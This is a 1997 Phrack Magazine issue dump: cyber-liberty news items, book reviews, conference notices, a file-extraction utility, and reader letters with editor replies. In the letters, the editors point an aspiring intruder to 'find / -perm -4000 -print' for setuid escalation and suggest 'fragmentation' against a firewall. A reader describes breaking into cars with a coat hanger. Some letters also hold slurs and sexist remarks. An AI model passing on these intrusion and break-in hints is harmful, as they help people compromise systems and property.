Jim Thomas, a sociology professor at Northern Illinois University, runs this particular server, and it was hard to imagine what would be militantly extreme on it. Nevertheless, I ran the news by Thomas. It turns out that the official home page of the American Society of Criminology's Critical Criminology Division, an academic resource, was the target. It features articles from a scholarly criminology journal and has the hubris to be on record as opposing the death penalty but didn't appear to have anything that would link it with bomb-throwing anarchists, pedophiles, and pornographers.

There was, however, a copy of the Unabomber Manifesto on the page.

I told Thomas I was willing to bet $1,000 cash money that Ted Kaczynski's rant was at the root of Cyber Patrol's block. Thomas confirmed it, but I can't tell you his exact words. It might get this page blocked, too.

What this boils down to is that Cyber Patrol is banning writing on the Web that's been previously published in a daily newspaper: The Washington Post. It can also be said the Unabomber Manifesto already has been delivered to every corner of American society.

If the ludicrous quality of this situation isn't glaring enough, consider that one of Cyber Patrol's partners, CompuServe, promoted the acquisition of electronic copies of the Unabomber Manifesto after it published by the Post. And these copies weren't subject to any restrictions that would hinder children from reading them. In fact, I've never met anyone from middle-class America who said, "Darn those irresponsible fiends at the Post! Now my children will be inspired to retreat to the woods, write cryptic essays attacking techno-society, and send exploding parcels to complete strangers."

Have you?

So, will somebody explain to me how banning the Unabomber Manifesto, the ASC's Critical Criminology home page, and Crypt Newsletter protects children from smut and indecency? That's a rhetorical question.

Cyber Patrol is strongly marketed to public libraries, and has been acquired by some, in the name of protecting children from Net depravity.

Funny, I thought a public library would be one of the places you'd be more likely to find a copy of the Unabomber Manifesto.

0x16>---

Title: Some humor on media hacks and hackers
Source: Defcon Mailing List
Author: George Smith / Crypt Newsletter

In as fine a collection of stereotypes as can be found, the Associated Press furnished a story on July 14 covering the annual DefCon hacker get together in Las Vegas. It compressed at least one hoary cliche into each paragraph.

Here is a summary of them.

The lead sentence: "They're self-described nerds . . . "

Then, in the next sentence, "These mostly gawky, mostly male teen-agers . . . also are the country's smartest and slyest computer hackers."

After another fifty words, "These are the guys that got beat up in high school and this is their chance to get back . . . "

Add a sprinkling of the obvious: "This is a subculture of computer technology . . ."

Stir in a paraphrased hacker slogan: "Hacking comes from an intellectual desire to figure out how things work . . ."

A whiff of crime and the outlaw weirdo: "Few of these wizards will identify themselves because they fear criminal prosecution . . . a 25-year-old security analyst who sports a dog collar and nose ring, is cautious about personal information."

Close with two bromides that reintroduce the stereotype:

"Hackers are not evil people. Hackers are kids."

As a simple satirical exercise, Crypt News rewrote the Associated Press story as media coverage of a convention of newspaper editors.

It looked like this:

LAS VEGAS -- They're self-described nerds, dressing in starched white shirts and ties.

These mostly overweight, mostly male thirty, forty and fiftysomethings are the country's best known political pundits, gossip columnists and managing editors. On Friday, more than 1,500 of them gathered in a stuffy convention hall to swap news and network.

"These are the guys who ate goldfish and dog biscuits at frat parties in college and this is their time to strut," said Drew Williams, whose company, Hill & Knowlton, wants to enlist the best editors and writers to do corporate p.r.

"This is a subculture of corporate communicators," said Williams.

Journalism comes from an intellectual desire to be the town crier and a desire to show off how much you know, convention-goers said. Circulation numbers and ad revenue count for more than elegant prose and an expose on the President's peccadillos gains more esteem from ones' peers than klutzy jeremiads about corporate welfare and white-collar crime.

One group of paunchy editors and TV pundits were overheard joking about breaking into the lecture circuit, where one well-placed talk to a group of influential CEOs or military leaders could earn more than many Americans make in a year.

Few of these editors would talk on the record for fear of professional retribution. Even E.J., a normally voluble 45-year-old Washington, D.C., editorial writer, was reticent.

"Columnists aren't just people who write about the political scandal of the day," E.J. said cautiously. "I like to think of columnists as people who take something apart that, perhaps, didn't need taking apart."

"We are not evil people. We're middle-aged, professional entertainers in gray flannel suits."

0x17>---

Title: Cellular Tracking Technologies
Source: unknown
Author: unknown

A recent article from the San Jose Mercury News by Berry Witt ("Squabble puts non-emergency phone number on hold") raises several important questions -- questions I think are relavant to the CUD's readership...

Does anybody remember the FBI's request that cell phone companies must build in tracking technology to their systems that allows a person's position to be pin pointed by authorities? That suggested policy resulted in a flurry of privacy questions and protests from the industry, suggesting such requirements would force them to be uncompetitive in the global marketplace. The article, dated July 20, (which was focused on 911 cellular liability issues) suggests federal authorities may have worked out an end run around the controversy. The article states:

"The cellular industry is working to meet a federal requirement that by next spring, 911 calls from cellular phones provide dispatchers the location of the nearest cell site and that within five years, cellular calls provide dispatchers the location of the caller within a 125-meter radius. "

On its face, this seems reasonable and it is a far cry from the real time tracking requirements of any cell phone that is turned on (The FBI's original request). But by next spring, this tracking system will be in place and on line. I have heard no public debate about the privacy implications regarding this "Federal Requirement", nor has there been any indication that this information will be restricted to 911 operators.

Will this information be available to law enforcement officials if they have a warrant? If they don't have a warrant? Will this information be secured so enterprising criminals won't have access to it? Exactly WHAT kind of security is being implemented so it WON'T be accessible to the general public.

This smacks of subterfuge. By cloaking the cellular tracking issue in the very real issue of the 911 location system, the federal government and law enforcement agencies have circumvented the legitimate privacy questions that arose from their initial Cellular tracking request.

0x18>---

Title: Court Mixes Internet Smut Provision
Source: Associated Press
Author: unknown
Date: June 26, 1997

WASHINGTON (AP) -- Congress violated free-speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.

Congress' effort to protect children from sexually explicit material goes too far because it also would keep such material from adults who have a right to see it, the justices unanimously said.

The law made it a crime to put adult-oriented material online where children can find it. The measure has never taken effect because it was blocked last year by a three-judge court in Philadelphia.

``We agree with the three-judge district court that the statute abridges the freedom of speech protected by the First Amendment,'' Justice John Paul Stevens wrote for the court.

``The (Communications Decency Act) is a content-based regulation of speech,'' he wrote. ``The vagueness of such a regulation raises special First Amendment concerns because of its obvious chilling effect on free speech.''

``As a matter of constitutional tradition ... we presume that governmental regulation of the content of speech is more likely to interfere with the free exchange of ideas than to encourage it,'' Stevens wrote.

Sexually explicit words and pictures are protected by the Constitution's First Amendment if they are deemed indecent but not obscene.

0x1>--

Book Title: Underground
Poster: Darren Reed

A few people will have heard me mention this book already, but I think there are bits and pieces of this book which will surprise quite a few people. Most of us are used to reading stories about hacking by the people who did the catching of the hackers...this one is an ongoing story of the local hacker scene...with not so local contacts and exploits.

Some of the important things to note are just how well they do work together, as well as competing with each other and what they do when they get pissed off with each other. Meanwhile most of the white hats are too busy trying to hoard information from the other white hats...

Having been on the "victim" side in the past, it is quite frustrating when someone you've worked to have arrested gets off with a fine. Most of us would agree that they should be locked up somewhere, but according to what's in the book, most of them are suffering from either problems at home or other mental disorders (including one claim in court to being addicted to hacking). Anyone for a "Hackers Anonymous Association" for help in drying out from this nefarious activity ? At least in one case documented within the perpetrators get sentenced to time behind bars.

It's somewhat comforting to read that people have actually broken into the machines which belong to security experts such as Gene Spafford and Matt Bishop, although I'd have preferred to have not read how they successfully broke into the NIC :-/ Don't know about you, but I don't care what motives they have, I'd prefer for them to not be getting inside machines which provide integral services for the Internet.

For all of you who like to hide behind firewalls, in one instance a hacker comes in through X.25 and out onto the Internet. Nice and easy 'cause we don't need to firewall our X.25 connection do we ? :-)

Oh, and just for all those VMS weenies who like to say "We're secure, we run VMS not Unix" - the first chapter of the book is on a VMS worm called "WANK" that came close to taking the NASA VMS network completely off air. I wonder how long it will take for an NT equivalent to surface...

All in all, a pretty good read (one from which I'm sure hackers will learn just as much from as the rest of us).

The book's details are:
Title: UNDERGROUND - Tales of Hacking, madness and obsession on the
       Electronic Frontier
ISBN 1-86330-595-5
Author: Suelette Dreyfus
Publisher: Random House
Publisher's address: 20 Alfred St, Milsons Point, NSW 2061, Australia
Price: AUS$19.95

before I forget, the best URL for the book I've found is:

http://www.underground-book.com (http://underground.org/book is a mirror)

0x2>--

Book Title: "Hackers"
Poster: Paul Taylor   P.A.Taylor@sociology.salford.ac.uk

There's an open invite for people to contact me and discuss the above and/or anything else that they think is relevant/important.

Below is a brief overview of
the eventual book's rationale and proposed structure.

Hackers: a study of a technoculture

Background

"Hackers" is based upon 4 years PhD research conducted from 1989-1993 at the University of Edinburgh. The research focussed upon 3 main groups: the Computer Underground (CU); the Computer Security Industry (CSI); and the academic community. Additional information was obtained from government officials, journalists etc.

The face-to-face interview work was conducted in the UK and the Netherlands. It included figures such as Rop Gongrijp of Hack-Tic magazine, Prof Hirschberg of Delft University, and Robert Schifreen. E-mail/phone interviews were conducted in Europe and the US with figures such as Prof Eugene Spafford of Purdue Technical University, Kevin Mitnick, Chris Goggans and John Draper.

Rationale

This book sets out to be an academic study of the social processes behind hacking that is nevertheless accessible to a general audience. It seeks to compensate for the "Gee-whiz" approach of many of the journalistic accounts of hacking. The tone of these books tends to be set by their titles: The Fugitive Game; Takedown; The Cyberthief and the Samurai; Masters of Deception - and so on ...

The basic argument in this book is that, despite the media portrayal, hacking is not, and never has been, a simple case of "electronic vandals" versus the good guys: the truth is much more complex. The boundaries between hacking, the security industry and academia, for example, are often relatively fluid. In addition, hacking has a significance outside of its immediate environment: the disputes that surround it symbolise society's attempts to shape the values of the informational environments we will inhabit tomorrow.

Book Outline

Introduction - the background of the study and the range of contributors

Chapter 1 - The cultural significance of hacking: non-fiction and
fictional portrayals of hacking.

Chapter 2 - Hacking the system: hackers and theories of technological change.

Chapter 3 - Hackers: their culture.

Chapter 4 - Hackers: their motivations

Chapter 5 - The State of the (Cyber)Nation: computer security weaknesses.

Chapter 6- Them and Us: boundary formation and constructing "the other".

Chapter 7 - Hacking and Legislation.

Conclusion

0x1>---

Convention: Cybercrime Conference Announcement
Date: Oct 29 - 31

Cybercrime; E-Commerce & Banking; Corporate, Bank & Computer Security; Financial Crimes and Information Warfare Conference will be held October 29, 30, & 31, 1997 (Washington, D.C.) and November 17 & 18 (New York City) for bankers, lawyers, information security directors, law enforcement, regulators, technology developers/providers.

Responding to the global threat posed by advancing technology, senior level decision makers will join together to share remedies and solutions towards the ultimate protection of financial and intellectual property; and against competitive espionage and electronic warfare. An international faculty of 30 experts will help you protect your business assets, as well as the information infrastructure at large.

There will also be a small technology vendor exhibition.

Sponsored by Oceana Publications Inc. 50 year publisher of international law, in cooperation with the Centre for International Financial Crimes Studies, College of Law, University of Florida, and Kroll Associates, a leading investigative firm. For more information call
800/831-0758 or
914/693-8100; or e-mail: Oceana@panix.com.

http://www.oceanalaw.com/seminar/sem_calendar.htm

0x2>---

Convention: Computers & The Law IV Symposium
Date: October 6-9, Boston

Computers & The Law IV is the only event to bring together corporate decision-makers, computer professionals and legal experts to discuss Internet
and Web technology in the eyes of the law. This conference provides a forum and educational opportunities for all those interested in keeping their system investment safe and within the law.
Topics will include:
* Corporate liablity on the Internet
* Internet risk management in the enterprise
* Hiring a SysAdmin you can trust
* Legal risks of Internet commerce
* Establishing a fair-use policy
* Prosecuting system intruders
* Communicating with your SysAdmin
* Understanding copyright law

```
* Assessing your exposure to hackers
* Employee privacy vs. owner rights
... and much more!

               FOR MORE INFORMATION CONTACT
 The Sun User Group  * 14 Harvard Ave, 2nd Floor * Allston, MA 02134
     (617)787-2301 * conference@sug.org * http://www.sug.org/CL4


----[  EOF
```

---[Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 17 of 17

------------------------[Phrack Magzine Extraction Utility

--------[Phrack Staff

This time around, you have the option of using the C version of extract, or the PERL version, contributed by Daos.

```
---------------------8<------------CUT-HERE----------->8---------------------

/*  extract.c by Phrack Staff and sirsyko
 *
 *  (c) Phrack Magazine, 1997
 *
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical
 *  directory strcuture. Use to extract source code from any of the articles
 *  in Phrack Magazine (first appeared in Phrack 50).
 *
 *  gcc -o extract extract.c
 *
 *  ./extract filename
 */


#include <stdio.h>
#include <sys/stat.h>
#include <string.h>

int main(int argc, char **argv){

    char *s="<++> ",*e="<-->",b[256],*bp;
    FILE *f,*o = NULL;
    int l, n, i=0;

    l = strlen(s);
    n = strlen(e);

    if(argc<2) {
        printf("Usage: %s <inputfile>\n",argv[0]);
        exit(1);
    }

    if(! (f=fopen(argv[1], "r"))) {
        printf("Could not open input file.\n");
        exit(1);
    }

    while(fgets(b, 256, f)){

        if(!strncmp (b, s, l)){
            b[strlen(b)-1] = ’\0’;

            if((bp=strchr(b+l+1,’/’)))
                while (bp){
                    *bp=’\0’;
                    mkdir(b+l, 0700);
                    *bp=’/’;
                    bp=strchr(bp+1,’/’);
                }
            if((o = fopen(b+l, "w")))
                printf("- Extracting %s\n",b+l);
            else {
                printf("Could not extract ’%s’\n",b+l);
                exit(1);
            }
        }
        else if(!strncmp (b, e, n)){
            if(o) fclose(o);
            else {
                printf("Error closing file.\n");
                exit(1);
            }
        }
        else if(o) {
            fputs(b, o);
            i++;
        }
    }
    if(!i) printf("No extraction tags found.\n");
    return(0);
}

---------------------8<-------------CUT-HERE----------->8---------------------

# Daos <daos@nym.alias.net>

<++> extract.pl
#!/bin/sh -- # -*- perl -*- -n
eval ’exec perl $0 -S ${1+"$@"}’ if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
if (/^\<\-\-\>/) {close ct_ex; $opened=0;};
if ($opening) {
        chop $curfile;
        $sex_dir= substr( $curfile, 0, ((rindex($curfile,’/’))) ) if ($curfile =˜ m/\//);
        eval {mkdir $sex_dir, "0777";};
        open(ct_ex,">$curfile");
        print "Attempting extraction of $curfile\n";
        $opened=1;
}
if ($opened && !$opening) {print ct_ex $_};
<-->

----[  EOF
```

---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 02 of 17

------------------------[PHRACK 51 LOOPBACK

--------[Phrack Staff

0x1>--

Issue 50 proves that Phrack _is_ back, and better than ever.
Congratulations to you and the rest of the Phrack staff for putting
together what I think is by far the most informative issue to date. The
quality of the articles and code (YES! Lots of code!) reflects the hard
work and commitment that obviously went in to this issue. I could go on,
but I'm all out of lip balm.

Thank you!
pip

[Thank you. We aim to please.]

0x2>--

{ ...Bugtraq Phrack 50 announcement deleted... }

So What?
Who cares? get this crap off of the mailing list.
phrack is as much trash as 2600 or any other
little idiot magazine.

[Thank you. We aim to please.]

0x3>--

juggernaut is way cool, man.

minor bug: you dont unset IFF_PROMISC on exit, so it's not terribly stealthy,
but it's no big deal to fix.

anyway. cool.

.techs.

[Although Juggernaut is *not* meant to be a 'covert' program you are
completely right about that. I should unset promiscuous mode when the
program exits. In fact, in version 1.2 (patchfile available in this
issue) I include this very thing.]

0x4>--

Hi!
I've got the p50.tgz and well, played a little with jugernaut.
It's realy cool but:
1) It doesn't compile so clean. You've forgot to #include
<linux/netdevice.h> before <linux/if_arp.h>
2) The spy connection part is not quite cool because you
sniff and dump all the stuff that is comeing from the dest. port
and dest. host ...
So if U try 2 spy say:
193.226.34.223 [4000] 193.226.62.1 [23]
U spy in fact all the stuff that is comeing from 193.226.62.1 [23] for
ALL the conn. made to 193.226.62.1 on the 23 (telnet) port.
This will cause a cool mess on the screen.
I've tried 2 restrict the spying by introduceing a new cond.

iphp->daddr==target->saddr in net.c ... it brocked the spy routine

Maybe U'll fix somehow that thing..

All my best regards,
Sandu Mihai

[<linux/if_arp.h> includes <linux/netdevice.h>. The compilation of the program should go smoothly on any linux 2.0.x based system. Version 1.2 also fixes the TCP circuit isolation problem you allude to...]

0x5>--

Thanks!

This is a very impressive tool! Brilliant work!

Thank you,

--Craig

[Thank you.]

0x6>--

I'm just writing this to say thanx for putting out such a kickass publication. Down here in 514 it's fuckin dead, you mention hacking and half the people don't have a clue what Unix is.It's fuckin pathetic, but i'm glad to say that your mag has helped a lot and i look forward to future issues, you guys really do make a difference in the hacking community. Thanx.

Snake Eyes

[Amen to that.]

0x7>--

Hi! =8)

Why don't you (at Phrack) compile an updated Pro-Phile on known H/P
Groups like the one on issue #6 ?
So we - the readers - can know something more about the ACTUAL scene
(but perhaps it's not worth - ppl's sick of all that 3l33t d00dz ;)

I really appreciated that dox & srcs on spoofing, D.O.S., etc.
HIGH technical quality, sources, articles, news.... and it's free! :P
Ahh that's life! ;)

However, great job with the latest Phrack issues.
To quote a friend of mine (talking of Phrack Magazine)...

> It's improved a lot with Deamon9 in command....

K, that's all.
PHRACK RULEZ! (I had to say that :)
Oh... and sorry for my english!

Cya....

-Axl-

[Not a bad idea. Perhaps someone would like to do an article on the existing groups out there for P52?]

0x8>--

I would like to know what you suggest to get me headed in the right

direction reguarding the compromise of computers on the internet.
any information that you would be able to spare would be most appreaciated.
atomicpunk.

> [It's *all* about compromise. It's something you have to do. Be fair to them. Listen to them. Don't shut them out of your life. They are wonderful creatures... It's a give and take thing and sometimes, yes, you *have* to compromise -- that's part of having a mature relationship.]

0x9>--

I recently locked into my car so i called a friend to come help me when the slim jim was no help he decided to try another less known method.

We simply took a stiff metal coat hanger and straightened it out and made a small loop in it then we took a small speaker wire about 3 feet long and tied a loop into one end so it would slide to make the loop smaller or larger.

Then you take the wire and run it in through the loop in the hanger and pry the top edge of the car door open and slide both looped ends through holding onto the unlooped ends.

then you use the hanger to position the loop in the speaker wire around the door lock once you have the loop into position you hold the hanger steady and gradualy pull the loop tight around the lock once the loop is tight you just pull up on the hanger.

This works on most all vehicles with top door locks and with a little prep. and practice can be done in under 2 mins. also its less conspicious and easier to get than a slim jim. and they are cheap so no one care to toss the out after breaking into an entire lot of cars.

Hope you found this phile worth while
C'ya
The Stony Pony

> [Aspiring young car thieves among us thank you; however if you lock yourself in the car again, you might try unlocking the door manually.]

0xa>--

HOW YOU KNOW YOUR A TRY HARD HACKER

By [Xtreme]

I just wrote this to tell all you try hard hackers something.

1) You goto other hacker pages on the web.
2) You think loading a program that waz made by a hacker is hacking.
3) The only thing you do is get the lastest passwd file from your isp.
4) You goto channels like #hack and ask for passwd files.
5) You don't know where to get warez.
6) You always telnet to hosts and type

```
login: root
password: root
```

and stuff like that.

7) You brag about how you are a hacker.
8) You don't know C.
9) Your a girl.

10) You don’t know what’s a shell.
11) You don’t know what Linux, FreeBSD and all those other UNIX’s are.
12) You don’t have a UNIX OS.
13) You think when using IRC war scripts, your hacking.
14) Asking how to hack other people’s computer.
15) You try cracking a shadowed passwd file.
16) You don’t know if a passwd file is shadowed or not.
17) You ask what is a T1.
18) You ask how to email bomb and you think email bombing is a form of hacking.
19) Your learning BASIC language.
20) You think you can get into hacking straight away.
21) You don’t know how to set up an eggdrop bot.
22) You think .mil stands sites stand for a country.

[That is without a doubt, the dumbest thing I have ever read in my life. Not only do I award you no points, but we are all now dumber having read that. May God have mercy on your soul.]

0xb>--

What command do I use to make you denial of service package work?

[You hit yourself in the head with a hammer.]

0xc>--

I was scanning the 413 xxx 99XX range and I found some #’s. I have no idea what they do. I was wondering if you could help me out. Maybe call them and see what you find or someting.

(413) xxx-99xx	
(413) xxx-99xx	
(413) xxx-99xx	These are all fax #s, I think
(413) xxx-99xx	
(413) xxx-99xx	goes beep beep beep
(413) xxx-99xx	goes beeeep
(413) xxx-99xx	auto foward I think
(413) xxx-99xx	goes beeep beeep

[I tried calling these but I got no answer. Maybe the ’X’ on my phone is case sensitive?]

0xd>--

Sir,
I would like to know how could I get root permission from a simple user. I have read that this can be accomplished by setuid programs, and I have read an article describing the way this can be done in Phrack Magazine. Still I couldn’t gain root access. I would be very interested in finding ways of doing this on Irix 5.2 or Solaris 2.5. If you know anything about this, please send me an e-mail. If you know any resources on the Web that details the use of setuid programs in order to get root access, please tell me.

[P49-14]

0xe>--

>AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAY...!<

Mich, not Mitch. "Mich" is short for "Michel."

M. E. Kabay, PhD, CISSP (Kirkland, QC)
Director of Education
National Computer Security Association (Carlisle, PA)
http://www.ncsa.com

[No, Mike is short for Michael.]

0xf>--

Your zine is the best
Please send it to Psycho Al1@aol.com

The Psychotic Monk

PS:Aohell rulez

[You are an idiot.]

0x10>---

Hi, Phrack people!

Great job on issue 50! Nice magazine. Article 'bout TTY hijacking is really superb.

I have just one question to you. Is there any holes on target system in this situation? There's a server, running freeBSD 2.1.5, with a shadowed passwords. I've got a dial-up account on that machine as a simple user. What bugs can I use for having root privileges?

Best wishes from Ukraine!! OmegA

[find / -perm -4000 -print]

0x11>---

hello... long-time reader, first-time writer:

i know that all "submissions" are to be encrypted... and i should be encrypting anyways, but i'll make it quick ... besides, this isn't really a "submission..."

congrats on reaching the 50th issue mark, and congrats on an excellent ish!

i just a quick question. i would like to reprint the <soapbox> for issue #50 on my web page, with a hypertext link to the Official Phrack Homepage (http://www.fc.net/phrack/ - correct?). I think it says brings up some important points, and since it's copywrited, and you sren't losers, i'd ask you (it's not like a simple copywrite has stopped anyone before)!

thanks,
lenny

[A simple copyright may not stop people, but the simple restitution remanded by courts might. However, go ahead and put a hypertext link. The official webpage will be at phrack.com/net/org, SOON.]

0x12>---

In Volume Four, Issue Forty-One, File 3 of 13, Supernigger was featured in your Phrack Pro-Phile. Whatever happened to him? Did he "grow up and get a real job" or is he still lurking around?

- Styx

[Both.]

0x13>--

People @ Phrack:

In Phrack #50 in the file 'Linenoize' Khelbin wrote an article about remote BBS hacking, namely using Renegade's default 'PKUNZIP -do' command overwrite the userbase with your own ...

For some strange reason, while renegade is booted, and if it runs PKUNZIP -do the procedure will NOT work... but the procedure DOES work when Renegade is down at the Dos Prompt..?

Does Renegade extract files into memory or something while testing for integrity? -8) .. I tried this out on 10-04, 5-11 and even 04-whatever-the-fuck-that-version-was and it didn't work.. I think Khelbin needs help for his chronic crack addiction since I can't find any way possible to get his article to work..

op: Taos BBS

~~~ Telegard v3.02

[We dunno. Anyone else have an answer?]

0x14>--

Regarding Xarthons submission about Linux IP_MASQ in Phrack 50...

The masquerading code is not designed for security. Hardwiring RFC1918 addresses into the IP_MASQ code is not a clever idea for two reasons:

1) It diminishes the usefulness of the code. I have used masquerading to keep things running when my company changed internet providers. I masqueraded our old _valid_ IP range. Other people may come up with other valid uses, like providing redundancy through two ISPs.
2) The masquerading code is part of the Linux packet filter, which can certainly be configured to prevent spoofing, a quite a bit more.

If the static packet filter and the masquerading code are used together they can provide as much security as a 'dynamic' filtering firewall like Firewall-1 in many cases. A very short 'HOW-TO':

1) Put spoofing filters on all interfaces. Only allow incoming packets to the external interface if the destination address is that of the external interface (that's the address the masquerading code inserts as the source address of outgoing packets).

2) Insert rule(s) in the forwarding filter to masquerade your outgoing packets. You do not need to route incoming replies to masqueraded packets, that happens auto-magically. Deny everything else (and _log_).

3) Make sure the gateway does not run anything that leaves you vulnerable. Don't run NFS, the portmapper etc. Update sendmail, bind to the latest versions if you run them.

4) Disable telnet, and use 'ssh' for maintenance. If you must support incoming telnet connections through the firewall install the TIS firewall toolkit, and use one-time passwords.

5) Run 'COPS', 'Tripwire'.

6) Read a good book about Internet security, and make sure you understand all the issues involved before you configure _any_ firewall, even one with a GUI and a drool-proof manual.

I hope this is useful to some people.
~~~

Ge' Weijers (speaking for myself only)

0x15>---

You write in P49-06:

> ... The only sure way to destroy this
> channel is to deny ALL ICMP_ECHO traffic into your network.

No. It suffices to clear the content of the packets
when passing the firewall.

ralf

[True enough. However, by doing this you remove the RTT info from
the ICMP echos which will break some implementations which rely on it.]

0x16>---

Hi, Im a Wannabe, maybe you would call me and idiot.
Where do you guys hang out, IRC? Wich channel, #supreme? Wich server?
Know any good trix for me how to learn more about hacking?

Please answer my letter, I know that you get lots of letters, but
please!!

[EFNet, #phrack]

0x17>---

You cant realy say that IRC is for loosers cuz in Phrack 50 I saw an
article with some text taken from IRC, and you were logged in.

[We are losers. Ergo, yes we can.]

Which good hack books, UNIX books or things like that do you recommend.

Thank You For An Answer!!

[Anything Addison Wesley or ORA. Also, many of the PTR/PH books.]

0x18>---

I am writing to inquire about the fate of Pirate Magazine
and how I might contact it's creators. It seems to have been out of
circulation since 1990 and I was hoping to look at possibly organizing
some kind of initiative to revive this excellent publication. I thought
first to turn to Phrack magazine. Thanx for your time.

Joong Gun

[Anyone have any information?]

0x19>---

Hello,

I just got Phrack 50 and loved it....It is the first one I've
got. I was wondering if you guys know about any other newsletters or
magazines that are sent to your e-mail address or you can get off the web on
a regular basis, like Phrack. thanX

[Other magazines come and go on a pretty regular basis. Phrack is
eternal. Phrack is all you need.]

0x1a>---

Please help me. If I can't join your club, please let me learn from you. I am interested in both Program hacking and remote access.

Thanks.

quattro

[You join our club if you can find our secret clubhouse.]

0x1b>--

hi. This is from a guy you probably will never hear of again, and definantly have never heard of already. I wanna ask you a question. At my school, people write crap on their backpacks with witeout. I have never done this for 2 reasons

1) I dont wanna be grouped with the poseur metalheads, etc who write "Pantera" and "666" and "Satan" etc but cannot name a song of thiers, and/or go to church....

2) I dont wanna be grouped with the wanna be hackers who write stuff like Anarchy symbols, "Aohell" "Kaboom" and the such, because thats just plain lame. You have to feel sorry for people who think they are elite because they can mailbomb somebody.

Another reason I have never written anything is I havent found anything worht advertising. Now i have, I wanna write "The guild" or something to that extennt maybe "r00t" or something. I have not done this for i do not want to piss you off (indirectly something may get to you about it. It could happen, remember the 6 degrees of seperation? hehehe). If this is ok with you, lemme know please. (cad@traveller.com) Also, if your wondering why im mailing this to you alone, it is because you are a fucking baddass. heh. Well, lemme know whenever ok? thanks.

(I know i have an absence of punctuation, i'm in a hurry and I have homework)

[You have our permission to write r00t on your backpack.]

0x1c>--

yes i want to learn how to hack and need to learn fast
Js444 told me you can help
will repay BIG
thanks

[How big?]

0x1d>--

I sent this from your hoime page...is it X-UIDL? I dunno, it's 4 AM anyway

um oh, keep in mind that ur response (if made) to this may be dumped to #hack printed in the next Citadel knockoff or whatevrr

I was just like thinking oh, I was thinking "I don't have an Irix sniffer!"...actually my thoughts don't have quotes around them it was more like

~o- all the Irix sniffers I have suck -o~

and then theres like Irix 4, 5, 6. Bah. And like sniffit sucks and anyway. And then I mentioned this and people were making fun of me, but I don't care. I only care lately when people are like, "Oh that's what youy make? I'm 17, have a criminal record and make three times that!". Anyway, people are like, "No, no nirva is elite" so I thought, aha, I'll ask nirva what a good Irix sniffer is. Oh, like now that people are laughing at that I have to keep this quets like secrtet. I even think some Irix's don't have compile, like Solaris. Christ, some Solaris's have jack shit. Anyway.

1) Why don't u log on #hack, or are you tres elite #!guild or beyond elite #www or #root #Twilight_Zone and more importantly

2) Irix sniffer - captures passwords, actually compiles. I hate coding. I am a a lazy American. And like, getting legit root access on an Irix...bvah, Irix sniffer!

Bye-bye hackers

oh PostScript

3) Are you a cyberpunk?

If I ran Phrack I wouldn't like Mr. Tishler have "Are hackers in general geeks?" as the question _everyone_ gets, I think, Are you a cyberpunk? Would be it

[1. We do hang out on as many public channels as we can stand for at least a little bit of time each issue. But really why do you care if an editor of Phrack is there when people are shouting about their penis size and how many drugs they are on? If you want to talk about something, we are always available by e-mail and will usually talk to you by private msgs if we aren't busy doing something else at the moment.
2. Anyone want to write us a really cool one?
3. Who are we to change tradition?]

0x1e>--

Hello,

I wanna ask you something about the following problem. I'm really stuck (the 1st time ;-)) ! Is it possible to pass a firewall and access one of the domains behind it ?? I'm afraid that the sysadmins did their job fine :(
I've got everything what I need but that damn wall....I'll give you some info that I've obtained so far:

- IP-address of the firewall,
- All the domains + IP adresses behind this wall,
- The login-account of the superuser,
- All the open-UNIX ports behind the wall,
- The company has no WWW-site but they do have an Intranet.

portscanning gives me this:

```
21~=ftp,
23~=telnet,
25~=smtp-mail 220 x.x.x.x SMTP/smap Ready.
```

This is at IP x.x.x.2 but I found out that also x.x.x.1 belongs to the same company with 3 other ports...

```
7~=echo,
9~=discard-sink null
79~=finger.
```

Is the only way to go by D.O.S. attack the firewall and then spoof the firewall's IP addres ?

But how to start ?? Woul u be so kind to help me ??

TIA,
theGIZMO

[fragmentation.]

0x1f>--

Ok, this might sound dumb , but, I think it would be cool to have this as a slogan.

"Blah, blah, blah, and along with your subscription, you'll receive a LIFETIME WARRANTY ON YOUR BRAIN!! That is, if for any reason your brain can't figure out a problem you're having hacking, just e-mail us with your question and we'll be glad to help you out. Note: Please PGP encrypt all questions regarding hacking questions. Thank you."

Do you like it? Note that blah, blah, blah is whatever you would it to be. Such as, "You can subscribe to Phrack Magazine by sending e-mail to Phrackedit@infonexus.com requesting you be put on the list, and along with your subscription......"

Ok, thats it....write back if you like it....or if you don't. Here is my PGP public key.
Oh yeah...you might have gotten mail from PhatTode@aol.com. That is me. So direct replies to those messages to this new address...Thank you.

[You're right. It does sound dumb.]

0x20>--

Hey,
sorry to bother you but I just got Redhat Linux 4.1 in the mail. I think it's great besides the fact that I hear that it lacks security. HOw do I get PGP up in it? Is it easy to install? Thanks.

Killer Bee

[yes, very easy to install. Read the documentation. It's different for different platforms.]

0x21>--

Hello

My name is Joseph and I am intrested in any information you may have about the early day's of hacking and current hacking underground.. also I understand you are a member of the guild ?? what is this?

Joseph --> jgriffiths@iname.com

[The guild is like what r00t was before r00t got all famous and became greatly feared and admired. Oh. And we spend most of our time counting our millions and having sex with models.]

0x22>--

Hi there,

Do you know where I can find the Rosetta stone for interpreting the output of Solaris lockd & statd in debug mode? I can't find any public information about it, even on Sun sites. Sun Microsystem refuses to let their lab publish anything about interpretation of system calls outputs. Are they afraid that they will be losing support contracts if this information gets out? The man page does not include arguments to run in debug mode, and what's the point of providing the tools w/o the means to interpret the result? Teach a man how to fish .....you know.

Thanks.

Christine

[Someone want to write an article on it?]

0x23>---

In regards to the article on Ethernet spoofing:

As an aside note for the highly paranoid: ethernet spoofing

Note: some of this is theorized, and might not be 100% accurate - if you get the jist of it, you should be able to figure out if it works for you.

It is possible to spoof ethernet hardware addresses as well. Some cards will allow you to do this easily, but you need to have card programming docs (check the Linux kernel source for your card driver-!!). Others won't let you do it at all, and require a ROM change, or worse it might be solid state logic on the card - EVIL. Course you might be able to get around solid state stuff by recoding the ROM, but I wouldn't recommend it unless you don't have the $70 to buy a new card, and have a month or two to spend in the basement.

... rest of stuff(tm) deleted ...

